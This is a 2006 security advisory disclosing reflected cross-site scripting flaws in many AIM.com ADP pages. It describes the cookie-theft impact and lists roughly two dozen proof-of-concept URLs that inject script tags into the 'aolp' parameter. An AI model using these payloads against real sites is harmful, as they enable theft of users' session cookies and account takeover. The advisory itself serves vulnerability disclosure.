Title: AIM Multiple Cross Site Scripting

Author: Simo Ben youssef aka _6mO_HaCk <simo_at_morx_org>
Discovered: 26 December 2005
Published: 7 January 2006
MorX Security Research Team
http://www.morx.org

Service: Web

Vendor: AIM.com

Vulnerability: Cross Site Scripting / Cookie-Theft / Relogin attacks

Severity: Medium/High

Tested on: Microsoft IE 6.0 and FireFox 5.1

Details:

AIM.com search engines are created with AOLserver Dynamic Pages (or ADP).
ADP are a set of web server extensions for designing dynamically created
documents. Utilizing AOLserver, ADP return a document to the user based on
running a set of Tcl code with arguments provided by the user. They are
based on Microsoft's own Active Server Pages.
AIM.com ADP scripts are prone to cross-site scripting attacks. This
problem is due to a failure in the applications to properly sanitize
user-supplied input.

Impact:

an attacker can exploit the vulnerable scripts to have arbitrary script
code executed in the browser of an authentified AIM user in the context of
the AIM webpage. resulting in the theft of cookie-based authentication
giving the attacker temporary access to the victim's account (email box,
etc) as well as other type of attacks.

Screen captures:

http://www.morx.org/AIM-XSS.jpg
http://www.morx.org/AIM2-XSS.JPG
http://www.morx.org/AIM3-XSS.JPG
http://www.morx.org/AIM4-XSS.JPG

Affected scripts with proof of concept exploit:

http://www.aim.com/acronyms.adp?aolp="><script>alert(document.cookie)</script>
http://www.aim.com/remote/step1.adp?aolp=><script>alert(document.cookie)</script>
http://www.aim.com/remote/index.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/developer.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/get_aim/express/aim_expr.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/international.adp?aolp=""><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/security/faq.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/security/trojan.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/emoticons.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/chats.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/download.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/get_aim/linux/latest_linux.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/get_aim/win/other_win.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/get_aim/win/latest_win.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/using/aimexpress.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/gethelp.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/security/report.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/error_mess/index.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/starting_out/index.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/using/index.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/forgot_password/password.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/tos/privacy_policy.adp?aolp=><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/error_mess/winerrors_buddylist.adp?aolp="><script>alert('VULNERABLE')</script>
http://www.aim.com/help_faq/using/aimexpress.adp?aolp=
http://us.video.aim.com/speed.adp?msg=large&url=%2fmain%2eadp%3f"><script>alert('VULNERABLE')</script>

Disclaimer:

this entire document is for eductional, testing and demonstrating purpose
only. Modification use and/or publishing this information is entirely on
your OWN risk. The information provided in this advisory is to be
used/tested on your OWN machine/Account. I cannot be held responsible for
any of the above.